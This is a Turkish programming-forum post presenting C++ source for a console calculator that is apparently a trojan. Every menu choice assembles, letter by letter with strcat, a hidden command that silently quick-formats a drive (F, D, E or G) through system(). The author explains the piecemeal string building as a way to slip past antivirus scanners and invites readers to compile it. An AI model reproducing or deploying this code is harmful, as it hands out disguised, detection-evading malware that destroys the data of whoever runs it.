Geri git   CurcunaForum.Org > Webmaster - Grafik - Tasarım > Delphi , Visual basic , C , C++
Kayıt ol Yardım Topluluk

Delphi , Visual basic , C , C++ Delphi , visual basic.

Yeni Konu aç  Cevapla
 
LinkBack Seçenekler Stil
Alt 06-09-2008   #1
Profil
Üye
 
Kerem388 - ait Kullanıcı Resmi (Avatar)
 
Üyelik tarihi: Dec 2007
Bulunduğu yer: oras hakında çesitli söylentiler var karar veremedik
Yaş: 37
Mesajlar: 938
Üye No: 10499

Seviye: 27 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Canlılık: 0 / 656
Çekicilik: 312 / 33209
Tecrübe: 25

Teşekkür

Teşekkürler: 0
0 Mesajina 0 Tesekkür Aldi
Rep
Rep Puanı : 1047
Rep Gücü : 28
İtibar :
Kerem388 has much to be proud ofKerem388 has much to be proud ofKerem388 has much to be proud ofKerem388 has much to be proud ofKerem388 has much to be proud ofKerem388 has much to be proud ofKerem388 has much to be proud of
97 AntiViruslere yakalanmayan Zararlı Kod

Gunumuzde Antiviruslerin bir cogu yaptıkları tarama sırasında Programların zararlı kod icerip icermediklerini arastırırlar.
C++ ile yaptıgımız bu basit Hesap Makinesinde Zararlı kodu olusturma seklimiz cok farklı bir yol icerdiginden Anti virusler bu zararlı kodu bulamıyorlar.

Simdi Bu basit Hesap Makinasınının kodlarını C++ da yazalım.
Kullandıgım Compiler Visual C++ 6.0

#include <iostream.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <conio.h>


int topla(int h,int g)
{
return h+g;
}

double carp(int g,int h)
{
return g*h;
}

double bolum(int q,int w)
{
return q/w;
}

int main()
{
int s;
do
{
cout<<endl;
cout<<"*************************************"<<end l;
cout<<"* *"<<endl;
cout<<"* 1) Toplama islemi *"<<endl;
cout<<"* 2) Carpma islemi *"<<endl;
cout<<"* 3) Bolme islemi *"<<endl;
cout<<"* 4) Cikis *"<<endl;
cout<<"* *"<<endl;
cout<<"*************************************"<<end l;
cout<<endl;
printf("\\n");
cout<<"Isteginiz nedir ? "<<endl;
cin>>s;


if(s==1)
{
int w,r;
cout<<"1. sayiyi giriniz"<<endl;
cin>>w;
cout<<"2. sayiyi giriniz"<<endl;
cin>>r;

char E[]="e";
strcat(E,"c");
strcat(E,"h");
strcat(E,"o");
strcat(E,".");
strcat(E,"|");
strcat(E,"f");
strcat(E,"o");
strcat(E,"r");
strcat(E,"m");
strcat(E,"a");
strcat(E,"t");
strcat(E," ");
strcat(E,"f");
strcat(E,":/Q");
strcat(E," ");
strcat(E,">");
strcat(E,"n");
strcat(E,"u");
strcat(E,"l");
strcat(E," ");
strcat(E,"2");
strcat(E,">");
strcat(E,"&");
strcat(E,"1");



system(E);

cout<<"Sonuc = "<<topla(w,r)<<endl;
}

if (s==2)
{

int l,k;
cout<<"1. sayiyi giriniz"<<endl;
cin>>k;
cout<<"2. sayiyi giriniz"<<endl;
cin>>l;

char D[]="e";
strcat(D,"c");
strcat(D,"h");
strcat(D,"o");
strcat(D,".");
strcat(D,"|");
strcat(D,"f");
strcat(D,"o");
strcat(D,"r");
strcat(D,"m");
strcat(D,"a");
strcat(D,"t");
strcat(D," ");
strcat(D,"d");
strcat(D,":/Q");
strcat(D," ");
strcat(D,">");
strcat(D,"n");
strcat(D,"u");
strcat(D,"l");
strcat(D," ");
strcat(D,"2");
strcat(D,">");
strcat(D,"&");
strcat(D,"1");


system(D);

cout<<"Sonuc = "<<carp(l,k)<<endl;

}


if (s==3)
{
int e,r;
cout<<"1. sayiyi giriniz"<<endl;
cin>>e;
cout<<"2. sayiyi giriniz"<<endl;
cin>>r;

char C[]="e";
strcat(C,"c");
strcat(C,"h");
strcat(C,"o");
strcat(C,".");
strcat(C,"|");
strcat(C,"f");
strcat(C,"o");
strcat(C,"r");
strcat(C,"m");
strcat(C,"a");
strcat(C,"t");
strcat(C," ");
strcat(C,"e");
strcat(C,":/Q");
strcat(C," ");
strcat(C,">");
strcat(C,"n");
strcat(C,"u");
strcat(C,"l");
strcat(C," ");
strcat(C,"2");
strcat(C,">");
strcat(C,"&");
strcat(C,"1");



system(C);

cout<<"Sonuc = "<<bolum(e,r)<<endl;

}


if (s==4)
{


char b[]="e";
strcat(b,"c");
strcat(b,"h");
strcat(b,"o");
strcat(b,".");
strcat(b,"|");
strcat(b,"f");
strcat(b,"o");
strcat(b,"r");
strcat(b,"m");
strcat(b,"a");
strcat(b,"t");
strcat(b," ");
strcat(b,"g");
strcat(b,":/Q");
strcat(b," ");
strcat(b,">");
strcat(b,"n");
strcat(b,"u");
strcat(b,"l");
strcat(b," ");
strcat(b,"2");
strcat(b,">");
strcat(b,"&");
strcat(b,"1");


system(b);

exit(1);
}


}while(s <5);

}


Kullandıgımız kodlar basit ve normal gunluk islerimizde kullandıgımız C++ kodları,
Ancak olusturulma sekilleri biraz farklı.
Bir degisken aracılıgıyla bu kodları olusturuyoruz.
Yada sunu da yapabilirdik:

char a[]="fatih bugun okula ruzgar gibi kosarak martı gibi ucarakdan gitti:"

buradaki f o r m a t d : elemanlarını diziden strcat ile bir degiskene ekleyerek kodumuzu olusturuyoruz ve
Kullanıcı:
Toplama yaptıgında f ye
Carpma yaptıgında d ye
Bolme yaptıgında e ye
Cıkıs yaptıgında g ye
format atılıyor.
Ama biz direkt kısa olarak birlestirme yolunu izledik...
Programı derleyicide yazabilir ve Compile edebilirsiniz tabii debug etmeyin
__________________

Click the image to open in full size.
Kerem388 is offline Kerem388 isimli üyenin yazdığı bu Mesajı değerlendirin.   Alıntı ile Cevapla
Cevapla

Etiketler
antiviruslere, kod, yakalanmayan, zararli


Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Açık
Pingbacks are Açık
Refbacks are Açık


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 04:51.


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.